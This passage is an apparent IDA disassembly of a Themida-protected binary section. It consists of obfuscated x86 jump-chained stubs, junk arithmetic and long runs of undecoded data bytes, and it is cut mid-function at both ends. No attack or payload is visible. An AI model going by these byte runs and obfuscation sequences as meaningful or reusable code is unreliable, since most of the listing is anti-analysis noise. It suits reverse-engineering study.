dd 15D0BB53h, 0E9E902A9h, 83FFFFCCh, 148904ECh, 0B0C3E924h
dd 535CFFFFh, 0E956E389h, 0FFFFCDBBh
; ---------------------------------------------------------------------------
loc_53F1D0: ; CODE XREF: Themida_:0053E38Cj
mov [esp], ebx
push ebx
jmp loc_53E069
; ---------------------------------------------------------------------------
db 0B8h, 64h, 69h
dd 6E353667h, 403C4F7Bh, 2812072Dh, 58C7290Ah, 0E9243C33h
dd 0FFFFFC15h, 8124048Bh, 4C4h, 243C8700h, 0B30F665Ch
dd 0E99C2404h, 0FFFF68B5h, 237FED68h, 0E2815A1Dh, 7825568Bh
dd 0C1EAD14Ah, 0E28105E2h, 5972F0Dh, 6D8E951h, 51AC0000h
dd 285A68h, 241C8900h, 86E9DFB3h
db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53F23B: ; CODE XREF: Themida_:0053A865j
add edx, 4
jmp loc_53C848
; ---------------------------------------------------------------------------
dw 0BE68h
dd 89000068h, 73E92424h, 66FFFFF9h, 0E9240C89h, 0FFFF6865h
; ---------------------------------------------------------------------------
loc_53F25C: ; CODE XREF: Themida_:0053B351j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
add esp, 4
add esp, 4
push ebp
push eax
jmp loc_541C5F
; ---------------------------------------------------------------------------
loc_53F27E: ; CODE XREF: Themida_:00536B67j
mov ebx, 0
add ebx, eax
add dword ptr [ebx], 1
jmp loc_53928E
; ---------------------------------------------------------------------------
dd 36CE954h, 0BB530000h, 529D1171h, 0C102EBC1h, 0CB8108EBh
dd 8A13316h, 6BB5E381h, 0C38156DAh, 3BAE6936h, 70E9DF01h
dd 5600001Ah, 43E9E689h, 5AFFFFF0h, 8B24048Fh, 92E92424h
dd 50000026h, 0F4060B68h, 0A6FAE94Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53F2DA: ; CODE XREF: Themida_:0053D8D2j
sub esi, 72F073F0h
add esi, 69514E1Ch
jmp loc_53AA5F
; ---------------------------------------------------------------------------
db 89h
dd 0E3C15FFBh, 49F38103h, 43362D2Ch, 666AF381h, 0E38124E8h
dd 405F38E4h, 0FFBF49E9h, 3FF281FFh, 81C28182h, 6013FEEAh
dd 0E9C20172h, 0FFFFD9D2h, 332A44BAh, 0C0C28136h, 1C9CCD5h
dd 0E9835AD1h, 6A65E904h, 0EE80FFFFh, 0EC8158CDh, 4, 0B5240C89h
dd 8EDC04Fh, 0FE04E5C0h, 720CE9C5h, 0C381FFFFh, 3CBD4812h
dd 0EB81C301h, 3CBD4812h, 0C3015A58h, 672EB81h, 0EB815E49h
dd 6A2E00B7h, 0B28BE955h, 1489FFFFh, 215EE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53F37A: ; CODE XREF: Themida_:0054097Bj
shr edi, 1
push esi
mov esi, 0DD904E9Fh
sub edi, esi
pop esi
mov ebp, edi
pop edi
xor edx, ebp
jmp loc_536AD1
; ---------------------------------------------------------------------------
loc_53F38F: ; CODE XREF: Themida_:0053C573j
jz loc_539941
push dword ptr [edi+1Ch]
push eax
mov eax, 4C62476Ah
add dword ptr [esp+4], 537F6338h
sub [esp+4], eax
sub dword ptr [esp+4], 537F6338h
mov eax, [esp]
add esp, 4
pop ecx
push edx
jmp loc_5398D6
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483241Ch, 0BB535104h, 14F736FCh, 815BD989h, 6A1651E9h
dd 2E1C119h, 0FFD0C9E9h, 66DFE9FFh, 815BFFFFh, 4C2h, 24143300h
dd 33241431h, 0E95C2414h, 0FFFF66C9h, 8146D6F7h, 0B4E189C6h
dd 0FC59E95Ch, 0B9B3FFFFh, 27E9EB28h
db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53F40F: ; CODE XREF: Themida_:005379E6j
mov [esp], eax
push 1
push dword ptr [esp]
pop eax
add esp, 4
and ecx, eax
mov eax, [esp]
add esp, 4
shr ecx, 0
or eax, eax
jz loc_53D7E1
push 26Eh
mov [esp], ebx
xor dword ptr [esp], 19055407h
push dword ptr [esp]
jmp loc_53F802
; ---------------------------------------------------------------------------
dw 8B66h
dd 6AE92424h
db 66h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53F457: ; CODE XREF: Themida_:0053B516j
sub edi, 2
xchg edi, [esp]
jmp loc_53E82E
; ---------------------------------------------------------------------------
dw 0D829h
dd 6C97E95Bh, 0C281FFFFh, 1A74521Bh, 5D5AD329h, 0FFE639E9h
dd 0CFE95CFFh, 66FFFF94h, 3AE99C50h, 87FFFF66h, 248B2414h
dd 8BF28924h, 0C4812434h, 4, 0B951FA01h, 0
dd 0FFA203E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53F4A5: ; CODE XREF: Themida_:00539DBFj
push ebx
jmp loc_53F4D0
; ---------------------------------------------------------------------------
loc_53F4AB: ; CODE XREF: Themida_:00536A17j
push dword ptr [esp]
pop eax
jmp loc_5408EB
; ---------------------------------------------------------------------------
dd 0E92434FFh, 0FFFF86B5h, 31240C33h, 6CE9240Ch
db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53F4C7: ; CODE XREF: Themida_:00536D59j
or edx, eax
shl edx, 1
jmp loc_53AC89
; ---------------------------------------------------------------------------
loc_53F4D0: ; CODE XREF: Themida_:0053F4A6j
pop ecx
pop ebx
pop ebx
shl ecx, 2
neg ecx
push edi
push esi
jmp loc_54025F
; ---------------------------------------------------------------------------
db 81h
dd 4C6h, 2BD5500h, 0E9000000h, 0C3Ah, 7FD968h, 95C3E900h
dd 0EC83FFFFh, 242C8904h, 7C45BF57h, 0FD896112h, 0BD96E95Fh
dd 0F388FFFFh, 0D830585Ah, 241C8B66h, 0FF6F35E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53F51D: ; CODE XREF: Themida_:00538FDDj
pop edx
push eax
mov eax, 64671B1Dh
sub [esp+8], eax
pop eax
sub dword ptr [esp+4], 6F7770FEh
sub [esp+4], edx
jmp loc_539613
; ---------------------------------------------------------------------------
loc_53F53A: ; CODE XREF: Themida_:0053D2B9j
sub al, 0F3h
add al, bl
add al, 0F3h
pop bx
push edi
jmp loc_540D9E
; ---------------------------------------------------------------------------
dd 8B2434FFh, 0C4832414h, 0E9545204h, 0FFFFC5C9h, 240C8B66h
dd 4EC81h, 64E90000h
db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53F567: ; CODE XREF: Themida_:0053966Aj
push dword ptr [esp]
pop ebp
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_53F059
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832424h, 9724E904h, 148BFFFFh, 4C48324h, 29C2CB81h
dd 0E3810853h, 402C639Ch, 0FF84CEE9h, 0B60F66FFh, 229DE9C8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53F5AA: ; CODE XREF: Themida_:005391A0j
xor ecx, 0A73DB14Ah
xor ebx, ecx
pop ecx
jmp loc_53AA30
; ---------------------------------------------------------------------------
dd 0D102E1C1h, 43C981E9h, 8168A94Bh, 621807C1h, 59CA01F2h
dd 0DC5E9h
db 0
; ---------------------------------------------------------------------------
loc_53F5D1: ; CODE XREF: Themida_:0054025Aj
or ecx, 57A1D51h
sub ecx, 166157CCh
or ecx, 0E7A362Ch
add ecx, 27724A50h
add ebx, 0A1793Bh
add ebx, ecx
push esi
jmp loc_535B7E
; ---------------------------------------------------------------------------
loc_53F5F7: ; CODE XREF: Themida_:0053D276j
add esp, 4
jmp loc_5395F3
; ---------------------------------------------------------------------------
dw 815Dh
dd 4C5h, 4BE5600h, 1000000h, 0F780E9F5h, 0E328FFFFh, 148B5866h
dd 4C48124h, 30000000h, 5BE95BD8h, 57000005h, 0C781E789h
dd 4, 8904EC83h, 0BA522404h, 5CD95D80h, 50A661B8h, 5AD02966h
dd 12213525h, 224E948h, 0C6010000h, 4DE76858h, 9AE90000h
dd 29FFFF8Bh, 0C2AAE9D6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53F666: ; CODE XREF: Themida_:0053C843j
add esp, 4
or eax, eax
jmp loc_53CA59
; ---------------------------------------------------------------------------
loc_53F673: ; CODE XREF: Themida_:005367B0j
mov esi, 182F7D46h
push esi
add dword ptr [esp], 220A1FA8h
pop ebp
sub ebp, 220A1FA8h
jmp loc_537666
; ---------------------------------------------------------------------------
loc_53F68C: ; CODE XREF: Themida_:00536227j
jmp loc_535AC1
; ---------------------------------------------------------------------------
db 0C1h, 0E1h, 8
dd 0FFCA59E9h, 243C89FFh, 4EC81h, 0C890000h, 2723B924h
dd 0CF890B54h, 0FFF9FAE9h, 242C89FFh, 4BDh, 8BEB0100h
dd 0BFE9242Ch
db 17h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53F6C3: ; CODE XREF: Themida_:00538372j
sub eax, ebp
pop ebp
jmp loc_539577
; ---------------------------------------------------------------------------
db 66h
dd 44E932FFh, 5CFFFFBFh, 0FF241489h, 0E9042474h, 0FFFFFBE3h
; ---------------------------------------------------------------------------
loc_53F6E0: ; CODE XREF: Themida_:00541391j
mov ecx, [esp]
jmp loc_54139F
; ---------------------------------------------------------------------------
dd 405h, 40500h, 4870000h, 535E5C24h, 30D2B850h, 85682050h
dd 89000028h, 4872404h, 0BD1AE924h, 8852FFFFh, 0ACECE9E2h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53F716: ; CODE XREF: Themida_:005361F8j
sub ecx, 143B289Fh
sub ecx, 6789101Dh
jmp loc_537CDB
; ---------------------------------------------------------------------------
loc_53F727: ; CODE XREF: Themida_:0053A8CEj
push edi
mov edi, 0FE5F000Eh
add eax, edi
mov edi, [esp]
add esp, 4
jmp loc_535B8E
; ---------------------------------------------------------------------------
loc_53F73A: ; CODE XREF: Themida_:00536B37j
mov [esp], ecx
mov ecx, 76AA2A84h
shr ecx, 3
add ecx, 20163853h
xor ecx, 0D1E2CF0h
add ecx, 176377CFh
jmp loc_536B5D
; ---------------------------------------------------------------------------
dd 241C335Ah, 33241C31h, 59E9241Ch, 66FFFF6Ah, 3AF5C381h
dd 66C30166h, 3AF5EB81h, 0FFDFC2E9h, 67CD81FFh, 81349C41h
dd 774F89CDh, 0EBED8143h, 0E9FFFFEFh, 0FFFF9A11h, 0BD242C89h
dd 41D04D0Ah, 0FFBA33E9h, 243C89FFh, 0FFD96EE9h, 241C29FFh
dd 50D3F75Bh, 3E0068h, 242C8900h, 9714DEBDh, 36E5B81Eh
dd 3BE92697h
db 1Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53F7C7: ; CODE XREF: Themida_:0053E1D4j
pop edi
shl ecx, 1
shr ecx, 4
push esi
mov esi, 20F4F2D4h
sub ecx, 47974E22h
add ecx, esi
add ecx, 47974E22h
pop esi
jmp loc_538D2C
; ---------------------------------------------------------------------------
db 68h
dd 7633CB8h, 0FFB29EE9h, 0EC835CFFh, 24048904h, 4B8h, 0FE50E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53F802: ; CODE XREF: Themida_:0053F449j
pop eax
add esp, 4
push esi
jmp loc_5380FC
; ---------------------------------------------------------------------------
db 0F7h
dd 0CAE945DDh, 0FFFFFFB9h, 565B2434h, 14C1E9h, 0E9EC8800h
dd 0FFFFB672h, 0E2EE8159h, 0F7569F61h, 86EE81D6h, 56177058h
dd 3C756668h, 81465E25h, 20078FEEh, 79CE8139h, 8120E359h
dd 0FFFFFFC6h, 0FDB850FFh, 0F71B507Bh, 7AB635D8h, 0C601ACAEh
dd 5EF00158h, 0AD2DF001h, 5E35017Ch, 1D9D68h, 0E47CE900h
dd 1025FFFFh, 40102F61h, 1DA9E9h, 6EAC100h, 0C281DAF7h
dd 7BD5C5D6h, 11D4E9h
db 0
; ---------------------------------------------------------------------------
loc_53F891: ; CODE XREF: Themida_:005370C0j
pop esp
add dword ptr [esp+4], 59CE6543h
add [esp+4], ecx
sub dword ptr [esp+4], 59CE6543h
pop ecx
jmp loc_539A4F
; ---------------------------------------------------------------------------
dd 957B951h, 0CE893F2Fh, 0FFFF6FE9h, 8BD301FFh, 0CAE92414h
dd 68FFFFF2h, 4CAAh, 14FFE9h, 87E95500h
db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53F8D3: ; CODE XREF: Themida_:005383AFj
mov edx, 6777681h
jmp loc_53CF33
; ---------------------------------------------------------------------------
loc_53F8DD: ; CODE XREF: Themida_:005390A7j
add eax, edi
pop edi
jmp loc_53967C
; ---------------------------------------------------------------------------
db 53h, 0B7h, 0C8h
dd 14E9A604h, 31000011h, 0CB015DE9h, 68515559h, 5A1345AAh
dd 0EF5FE959h, 85B9FFFFh, 0E9E488DAh, 0FFFFD1A6h, 9D1C77FFh
dd 4105866h, 0A6E99C24h, 81FFFF61h, 4C1h, 4C18100h, 87000000h
dd 15C240Ch, 14875EF2h, 1191E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53F936: ; CODE XREF: Themida_:005370FDj
push 2E11h
mov [esp], edi
push ebx
jmp loc_54092D
; ---------------------------------------------------------------------------
loc_53F944: ; CODE XREF: Themida_:00538D78j
xchg ecx, [esp]
pop esp
push ecx
push edi
push ebx
mov ebx, 370D1FA1h
mov edi, ebx
jmp loc_540BCC
; ---------------------------------------------------------------------------
db 66h
dd 18DE6859h, 0D3E90000h
db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53F963: ; CODE XREF: Themida_:0053C6CDj
add dword ptr [esp], 4
jmp loc_535AFE
; ---------------------------------------------------------------------------
loc_53F96C: ; CODE XREF: Themida_:0053E077j
mov [esp], edi
mov edi, 24A749CBh
mov eax, edi
pop edi
not eax
dec eax
add eax, 39175FC0h
mov ebx, eax
pop eax
add [esp+4], ebx
jmp loc_54074B
; ---------------------------------------------------------------------------
loc_53F98B: ; CODE XREF: Themida_:0053D63Aj
add esp, 4
add eax, 4
xchg eax, [esp]
pop esp
push 5EA3h
mov [esp], esi
push ebp
sub esp, 4
mov [esp], esi
mov esi, 1
mov ebp, esi
mov esi, [esp]
add esp, 4
push edx
mov edx, ebp
mov esi, edx
pop edx
push dword ptr [esp]
pop ebp
add esp, 4
and eax, esi
jmp loc_537F33
; ---------------------------------------------------------------------------
dw 248Bh
dd 60EFE924h, 1C89FFFFh, 0C8C5E924h, 0C781FFFFh, 277700D4h
dd 5EE9C701h, 81FFFFBAh, 4E468DEFh, 9CF78106h, 29D88785h
dd 243C8BFAh, 8104C483h, 0C62C74EDh, 900EE928h, 8166FFFFh
dd 664C88CBh, 66FFEB83h, 0FFFFEB81h, 0D4EB8166h, 0CC2FE98Fh
dd 0C281FFFFh, 4, 4BB53h, 0DA010000h, 2414875Bh, 0E9C8295Ch
dd 0FFFF87A5h
; ---------------------------------------------------------------------------
loc_53FA38: ; CODE XREF: Themida_:0053C52Ej
pop ebx
pop dword ptr [esp]
jmp loc_53A546
; ---------------------------------------------------------------------------
db 8Bh, 2Ch, 24h
dd 0FFE7BEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53FA49: ; CODE XREF: Themida_:00537F1Fj
shl esi, 8
push edx
push edi
jmp loc_53CF8D
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4812414h, 4, 65E9F201h
db 27h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53FA63: ; CODE XREF: Themida_:0053CBCCj
mov esi, [esp]
add esp, 4
push edi
mov edi, esp
add edi, 4
push ebp
mov ebp, 1F131BCh
or ebp, 1507102Bh
neg ebp
sub ebp, 0EA08CE3Dh
add edi, ebp
mov ebp, [esp]
add esp, 4
xor edi, [esp]
jmp loc_53C4DF
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 4EC8359h, 89242C89h, 1836E9E5h, 0BF570000h, 75A919DCh
dd 815FFD01h, 0FB4DD8EDh, 5DEB0175h, 2B2568h, 24148900h
dd 0FF7F22E9h, 89525CFFh, 4C281E2h, 83000000h, 148704EAh
dd 91E95C24h, 5BFFFF62h, 2C07E8C0h, 0E9C3003Ah, 0FFFFCB6Eh
dd 2098C681h, 54E912D6h, 66FFFFCFh, 81240C8Bh, 2C4h, 0DB46E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53FB06: ; CODE XREF: Themida_:00536796j
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_539130
; ---------------------------------------------------------------------------
db 4Bh, 81h, 0C3h
dd 0FBA73B9Dh, 515BDA01h, 2B9h, 2EC28100h, 81722355h, 0AE2337EAh
dd 81CA0154h, 0AE2337C2h, 0BAEE954h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53FB3E: ; CODE XREF: Themida_:00541DD9j
mov [esp], eax
mov eax, esp
jmp loc_53D5F9
; ---------------------------------------------------------------------------
aL4Sw db '‹4$éw ',0
align 10h
dd 0E92434FFh, 283Ah, 0C8BE828h, 0E63AE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53FB62: ; CODE XREF: Themida_:00535ADFj
add esp, 4
neg cl
push ax
jmp loc_53FE14
; ---------------------------------------------------------------------------
dw 77FFh
dd 58669D1Ch, 24041166h, 5F43E99Ch, 0F659FFFFh, 0B47CE9DEh
dd 0EC81FFFFh, 2, 240C8966h, 2C4EB050h, 4EC8157h, 89000000h
dd 5EB62414h, 8087C680h, 0F68027EEh, 5AF030E3h, 5158C588h
dd 0A7E9FAB1h, 81FFFF71h, 4ECh, 240C8900h, 0FFF22FE9h
dd 241C89FFh, 453EB951h, 0BD551BFCh, 28B4526h, 0FFA266E9h
dd 0C895CFFh, 81595424h, 4C1h, 2C18100h, 68000000h, 331Dh
dd 0FF240C89h, 0E9042474h, 0FFFF9081h, 2474FF56h, 2434FF04h
dd 0E789575Eh, 4C781h, 0BB530000h, 4, 875BDF01h, 0AE9243Ch
dd 81FFFFE6h, 4C6h, 2C68300h, 5ACD68h, 24348900h, 0FF7135E9h
dd 0E9575CFFh, 0FFFF8470h, 5B054840h, 31DB47C7h, 0E58158C5h
dd 61784CE3h, 5307EDC1h, 102ABD55h, 0CD8136FCh, 550143DCh
dd 0CD81D5F7h, 49B57BE6h, 0E907E5C1h, 0FFFFE725h, 4240483h
dd 0FFE6EBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53FC75: ; CODE XREF: Themida_:0053AD2Ej
and ebx, 505E7CAEh
push edi
mov edi, 0CA20C73h
dec edi
and edi, 496967E1h
add edi, 0F2F3BFAh
add edi, 58C05381h
sub edi, 65D6037h
and ebx, edi
jmp loc_540C96
; ---------------------------------------------------------------------------
db 80h, 0EBh, 56h
dd 8DC0B60Fh, 0E9558704h, 0FFFFD78Fh, 81E38953h, 4C3h
dd 4EB8300h, 0FF8959E9h, 0EC815BFFh, 4, 0B8240489h, 1965675Ch
dd 5303E8C1h, 55204EBBh, 5BD8097Ch, 0ADBF5752h, 0E904D97Dh
dd 0FFFF6A01h
; ---------------------------------------------------------------------------
loc_53FCE8: ; CODE XREF: Themida_:0053D40Cj
pop esi
sub esi, 793E4846h
mov eax, esi
pop esi
add eax, 27B14DA4h
sub eax, 7C670AECh
add eax, edi
add eax, 7C670AECh
sub eax, 27B14DA4h
push edx
mov edx, 0
add edx, eax
add [edx], esi
mov edx, [esp]
jmp loc_53D7CC
; ---------------------------------------------------------------------------
dw 0B951h
dd 76C626FBh, 2959CA01h, 0FBEA81F2h, 8B76C626h, 0C4812434h
dd 4, 4F04EA81h, 0C20118FAh, 4F04C281h, 0D06818FAh, 8900003Eh
dd 0E9532404h, 188Eh, 0AD443635h, 58C3013Bh, 0EB81EB29h
dd 2B81449Fh, 3760EB81h, 0ECE9066Ah, 5AFFFFABh, 5E2434FFh
dd 8104C483h, 4C6h, 4C6E6800h, 2C890000h, 0B335E924h, 6664FFFFh
dd 6602B60Fh, 6651CB68h, 0E9240489h, 0FFFF5D29h, 875FFD01h
dd 0F5C242Ch, 0A868C8BEh, 8900000Dh, 12E9240Ch, 52FFFF5Dh
dd 0B668E289h, 89000019h, 4B82404h, 1000000h, 0EA8358C2h
dd 74FF5202h, 0E95A0424h, 0FFFF9A3Ch, 2C481h, 34300000h
dd 24343224h, 0E9243430h, 0FFFFD261h, 5C243487h, 68240C89h
dd 1, 0FF9B05E9h, 59CD31FFh, 875DEB29h, 895C241Ch, 9C502414h
dd 0FF5CB8E9h, 0B35352FFh, 0E90BB677h, 0FFFFB2CAh
; ---------------------------------------------------------------------------
loc_53FE14: ; CODE XREF: Themida_:0053FB69j
mov ah, 0A6h
sub cl, ah
jmp loc_536604
; ---------------------------------------------------------------------------
db 68h, 2 dup(0)
dd 3BE90000h, 5CFFFFE4h, 840FC009h, 0FFFFAAAAh, 44C168h
dd 24348900h, 0FEBEh, 1C772100h
db 8Bh, 34h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_53AD63
; ---------------------------------------------------------------------------
dw 0F281h
dd 48DD6472h, 1B8FF281h, 0C1422E53h, 0DAF706E2h, 7201EA81h
dd 0D3013628h, 0C3815A5Ah, 55143B02h, 0B60F66h, 0FFB797E9h
dd 4946BEFFh, 0BB5344EDh, 0BB12B6BEh, 4F63C681h, 97E93A5Ch
dd 81FFFFC3h, 6DBEBDF2h, 0E9D129D3h, 0FFFFD280h, 0FF5C14E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53FEAD: ; CODE XREF: Themida_:00540BB0j
add ebp, 6E001980h
pop esi
and eax, ebp
push dword ptr [esp]
jmp loc_535B75
; ---------------------------------------------------------------------------
dw 0E189h
dd 4C181h, 0BD550000h, 1E087B87h, 81FFED83h, 0FFFFFFC5h
dd 83F581FFh, 11E087Bh, 242C8BE9h, 4C481h, 0FF510000h
dd 59042474h, 8B24048Fh, 51E92424h, 55FFFFF6h, 0A5D6CBDh
dd 5DEB290Bh, 7BE9CB01h, 0BAFFFF6Dh, 0DBA1F4CDh, 40E9D601h
dd 8BFFFFFBh, 0A6E92424h, 89FFFF5Bh, 87E92404h
db 85h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53FF23: ; CODE XREF: Themida_:0053EA2Bj
mov esi, [esp]
add esp, 4
mov edi, [esp]
push 26E9h
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_53D82C
; ---------------------------------------------------------------------------
loc_53FF41: ; CODE XREF: Themida_:005402FFj
not edx
and edx, 62536919h
not edx
add edx, 473B72F1h
mov edi, edx
pop edx
and edi, 1F3F53F8h
sub edi, 42802ECh
add ebx, edi
pop edi
add ebx, 4
xchg ebx, [esp]
pop esp
shr eax, 0Eh
xor eax, ecx
push 0A78h
mov [esp], eax
xchg edi, [esp]
push edi
jmp loc_539E28
; ---------------------------------------------------------------------------
dd 4240483h, 4EC8358h, 0BD242C89h, 6BC22A95h, 2A91ED81h
dd 0E8016BC2h, 0FF8302E9h, 9DE95CFFh
db 15h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53FFA3: ; CODE XREF: Themida_:0053BE87j
pop eax
sub eax, 79453B65h
pop ecx
add edi, eax
pop eax
jmp loc_5376D9
; ---------------------------------------------------------------------------
dw 0E95Bh
dd 0FFFFCADBh, 0CF3088B7h, 0C3B65259h, 5AF700h, 2434FFF8h
dd 0FF627BE9h, 576856FFh, 5E0E7435h, 0FFD917E9h, 0E9DE89FFh
dd 0FFFF67BBh, 0D6868h, 240C8900h, 4245ECB9h, 5BC1812Eh
dd 8101204Fh, 0DD2097F1h, 34C18111h, 2DC1404Ah, 282E220Ch
dd 0C05C801h, 59282E22h, 7FBEBB53h, 0EB814231h, 42317FBCh
dd 335BD829h, 4312404h, 24043324h, 6624248Bh, 0E9240489h
dd 0FFFF5A91h
; ---------------------------------------------------------------------------
loc_540030: ; CODE XREF: Themida_:0054195Cj
add dword ptr [esp], 0FFFFFFFFh
push dword ptr [esp]
pop eax
add esp, 4
push esi
push esp
pop esi
add esi, 4
push edx
mov edx, 2DA13798h
sub edx, 387C4AA2h
inc edx
push esi
mov esi, 44242FAh
not esi
xor esi, 7ADB2277h
shl esi, 7
shr esi, 5
neg esi
jmp loc_53D923
; ---------------------------------------------------------------------------
db 33h
dd 1C31241Ch, 241C3324h, 0C83B665Ch, 5A3FE99Ch, 8B66FFFFh
dd 54522404h, 0D3F6E95Ah, 8953FFFFh, 4C381E3h, 83000000h
dd 1C8704C3h, 0EC815C24h, 4, 0E9240C89h, 0FFFFFE12h
; ---------------------------------------------------------------------------
loc_5400AC: ; CODE XREF: Themida_:00537E4Bj
pop edx
jmp loc_53A718
; ---------------------------------------------------------------------------
loc_5400B2: ; CODE XREF: Themida_:0054180Bj
mov ebx, [esp]
push edx
mov edx, esp
jmp loc_541A7C
; ---------------------------------------------------------------------------
db 0ACh, 0E9h, 4Ah
db 6Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5400C3: ; CODE XREF: Themida_:00536C7Dj
xor ebx, esi
mov esi, [esp]
jmp loc_53DB44
; ---------------------------------------------------------------------------
db 83h, 0C0h, 4
dd 0FFBCE8E9h, 0E2E9ADFFh, 1FFFFA4h, 0A0EB81F3h, 5E419A7Ah
dd 0B850C301h, 0CB354Ch, 5167EB81h, 0EB81435Dh, 77B83ABDh
dd 18F6E9h, 5EF70100h, 5C243C87h, 8904EC83h, 48E9242Ch
dd 5200000Ch, 0C2815A54h, 4, 4EA81h, 14870000h, 4895C24h
dd 8D5FE924h, 0EE81FFFFh, 71F721D0h, 1B43C681h, 0EE0109AEh
dd 1B43EE81h, 0C68109AEh, 71F721D0h, 8B2434FFh, 0C481242Ch
dd 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xchg esi, [esp]
mov esp, [esp]
jmp loc_539B2C
; ---------------------------------------------------------------------------
db 5Ah
dd 4BE56h, 0BB530000h, 5AA05E12h, 755DE981h, 0D9292EEFh
dd 0FF7048E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_540185: ; CODE XREF: Themida_:0053D827j
push esi
mov esi, 1
mov ebp, esi
mov esi, [esp]
add esp, 4
and eax, ebp
mov ebp, [esp]
add esp, 4
or edx, eax
shl edx, 1
jmp loc_538FD4
; ---------------------------------------------------------------------------
loc_5401AA: ; CODE XREF: Themida_:005362A0j
mov edx, 0
add edx, ecx
xor dword ptr [edx], 202C5368h
pop edx
jmp loc_53BFA0
; ---------------------------------------------------------------------------
db 80h, 0F3h, 9Fh
dd 0F686E380h, 0FBC380D3h, 8862F380h, 0ED805BDDh, 744EE9FAh
dd 8B66FFFFh, 65682404h, 89000006h, 0E789243Ch, 49B668h
dd 241C8900h, 0FFD9AEE9h, 79840FFFh, 57FFFFB4h, 9064BDBFh
dd 29F7815Dh, 10D421Bh, 243C8BFEh, 5104C483h, 73D1BD55h
dd 0E989548Ch, 0E9CE015Dh, 0FFFF8CB6h, 5D2414F7h, 0FF242C87h
dd 3C8B2434h, 4C48324h, 6804C483h, 3548h, 0FF9078E9h, 4C483FFh
dd 8B24048Fh, 0B0E92424h
db 77h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_540247: ; CODE XREF: Themida_:0053D27Dj
push 171Ch
mov [esp], ecx
mov ecx, 51EB708Bh
xor ecx, 1FC15D9Bh
jmp loc_53F5D1
; ---------------------------------------------------------------------------
loc_54025F: ; CODE XREF: Themida_:0053F4DAj
mov esi, 3D604C5Ah
xor esi, 6C636F7Dh
shr esi, 2
dec esi
add esi, 6B1BA7DEh
push esi
sub dword ptr [esp], 0CC47FCDh
pop edi
add edi, 0CC47FCDh
pop esi
push 111h
mov [esp], ecx
mov ecx, 37613654h
add edi, ecx
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_53BB27
; ---------------------------------------------------------------------------
aYhN db 'Yh N',0
dw 8900h
dd 5EE92434h, 68FFFF5Bh, 4018h, 68241489h, 4C35h, 43AE9h
dd 0E2814A00h, 27124ECBh, 0C103EAC1h, 68E907E2h
db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5402DB: ; CODE XREF: Themida_:0053BB2Ej
xor edi, 0D26B4C08h
add ecx, edi
pop edi
push ecx
add dword ptr [esp], 60702FD4h
pop ebx
jmp loc_541073
; ---------------------------------------------------------------------------
loc_5402F2: ; CODE XREF: Themida_:00540842j
mov edx, 5626484Bh
add edx, 7D2D0636h
neg edx
jmp loc_53FF41
; ---------------------------------------------------------------------------
loc_540304: ; CODE XREF: Themida_:0053BDA7j
push ebx
push edi
mov edi, 0B0DDB64Dh
mov ebx, edi
mov edi, [esp]
add esp, 4
sub edx, ebx
pop ebx
sub eax, edx
pop edx
mov ebp, eax
push dword ptr [esp]
pop eax
jmp loc_536D38
; ---------------------------------------------------------------------------
db 31h
dd 75685FF8h, 89000040h, 68552434h, 4E7A169Ch, 8EC5815Dh
dd 8977373Eh, 0F0315DEEh, 0FFF7FFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_540349: ; CODE XREF: Themida_:005381A6j
mov [esp], eax
mov eax, 4
sub esi, 544A51ECh
add esi, eax
add esi, 544A51ECh
mov eax, [esp]
jmp loc_536DFF
; ---------------------------------------------------------------------------
db 0BAh
dd 3D7E7DC1h, 96E9DAF7h
db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_540373: ; CODE XREF: Themida_:0053713Bj
mov edx, esp
jmp loc_53BA46
; ---------------------------------------------------------------------------
loc_54037A: ; CODE XREF: Themida_:0053DB68j
mov edi, 1E211B32h
xor eax, edi
pop edi
push esi
mov esi, 40E63313h
and eax, esi
pop esi
push edx
